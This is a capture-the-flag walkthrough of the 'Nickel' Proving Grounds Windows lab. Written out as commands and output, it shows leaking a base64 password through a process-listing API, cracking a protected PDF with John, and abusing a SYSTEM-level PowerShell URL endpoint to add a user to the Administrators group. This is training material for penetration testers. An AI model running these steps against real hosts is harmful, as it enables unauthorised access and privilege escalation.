Skip to content
HackIndex.io

Nickel Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

The Husky Hacker

sysadmin

Nickel's internal DevOps dashboard links to a custom API that, with the right POST request, dumps the full process list and leaks a base64-encoded password for a low-privileged account over SSH. That account's FTP folder holds a password-protected PDF; cracking it reveals a hidden PowerShell web service that already runs as SYSTEM and executes whatever command is appended to its URL, which a quick request against localhost uses to add the account straight into the local Administrators group.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP 
PORT          STATE SERVICE       VERSION
21/tcp        open  ftp
22/tcp        open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
135/tcp       open  msrpc         Microsoft Windows RPC
139/tcp       open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp       open  microsoft-ds
3389/tcp      open  ms-wbt-server Microsoft Terminal Services
5040/tcp      open  unknown
8089/tcp      open  http          Splunkd httpd
33333/tcp     open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664-49670/tcp open msrpc        Microsoft Windows RPC
Explain command
-p- Scan all 65535 TCP ports.
--open Only show ports in the open state.

Anonymous FTP fails and SSH is Windows OpenSSH. Port 8089 fingerprints as Splunk but actually serves a custom DevOps Dashboard, and port 33333 is an unusual custom HTTP API worth a closer look.

DevOps Dashboard (port 8089)

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8089/ 
<html>...<a href="http://$TARGET_IP:33333/">Internal API</a>...</html>

The dashboard links straight to the service on port 33333.

API discovery (port 33333)

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:33333/ 
Invalid Token

GET requests are rejected. Switching to POST, and enumerating the dashboard's linked paths, turns up a /list-running-procs endpoint.

Initial Foothold

Leaking credentials via process listing

The endpoint only returns proper output when Content-Length: 0 is set explicitly on the empty POST body; without it the response is a malformed HTML stub instead of the process list.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:33333/list-running-procs -H "Content-Length: 0" 
cmd.exe /Q /c "cd \\ftp & echo open $TARGET_IP>commands.txt & echo USER ariah>>commands.txt & echo Tm93aXNlU2xvb3BUaGVvcnkxMzk=>>commands.txt & ..."
Explain command
-H "Content-Length: 0" Forces a proper response instead of a malformed HTML stub for the empty POST body.

The dump exposes a scripted FTP login whose password arrives base64-encoded in the command line. Decode it.

┌──(kali㉿kali)-[~]
└─$ echo 'Tm93aXNlU2xvb3BUaGVvcnkxMzk=' | base64 -d 
$ARIAH_PASSWORD

Base64 is encoding, not encryption, so it falls apart instantly. Try the recovered credential over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh ariah@$TARGET_IP 
ariah@$TARGET_IP's password:
ariah@NICKEL C:\Users\ariah> whoami
nickel\ariah

Shell as ariah. The leaked FTP script referenced C:\ftp\, so check what else lives there.

Privilege Escalation

Retrieving and cracking Infrastructure.pdf

┌──(kali㉿kali)-[~]
└─$ scp ariah@$TARGET_IP:C:/ftp/Infrastructure.pdf .

The PDF is password-protected. Extract a crackable hash with pdf2john and run it through John.

┌──(kali㉿kali)-[~]
└─$ pdf2john Infrastructure.pdf > pdf_hash.txt
┌──(kali㉿kali)-[~]
└─$ john pdf_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Infrastructure.pdf:$PDF_PASSWORD
1g 0:00:00:00 DONE

Opening the PDF with the cracked password reveals internal infrastructure notes: a temporary command endpoint at http://nickel/?, a backup system at http://nickel-backup/backup, and a NAS at http://corp-nas/files. The command endpoint is described as a PowerShell-based web server that runs commands supplied through its URL query string.

Command execution as SYSTEM

The hostname nickel doesn't resolve locally, but the service is bound to the loopback interface, so localhost reaches it from the SSH session.

PS C:\Users\Guest\Desktop> powershell -c "$Resp = Invoke-WebRequest 'http://localhost/?whoami' -UseBasicParsing; $Resp.RawContent" 
HTTP/1.1 200 OK
Server: Powershell Webserver/1.2 on Microsoft-HTTPAPI/2.0
<pre>nt authority\system</pre>

Confirmed: the endpoint executes as nt authority\system. Use it to add ariah to the local Administrators group.

PS C:\Users\Guest\Desktop> powershell -c "Invoke-WebRequest 'http://localhost/?net localgroup administrators ariah /add' -UseBasicParsing"

With ariah now a local administrator, the SYSTEM-level command endpoint has handed over full control of the box.

Related

Process secret hunting
Blog

Process secret hunting

Enumerate running process memory and cmdline args to extract plaintext secrets, credentials, and sen...
Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...
Windows Credential Hunting for Privilege Escalation
Blog

Windows Credential Hunting for Privilege Escalation

Techniques for locating stored credentials in Windows registries, files, memory, and configs to esca...
Windows Service and Process Enumeration
Blog

Windows Service and Process Enumeration

Enumerate Windows services and processes to identify running applications, privileges, and potential...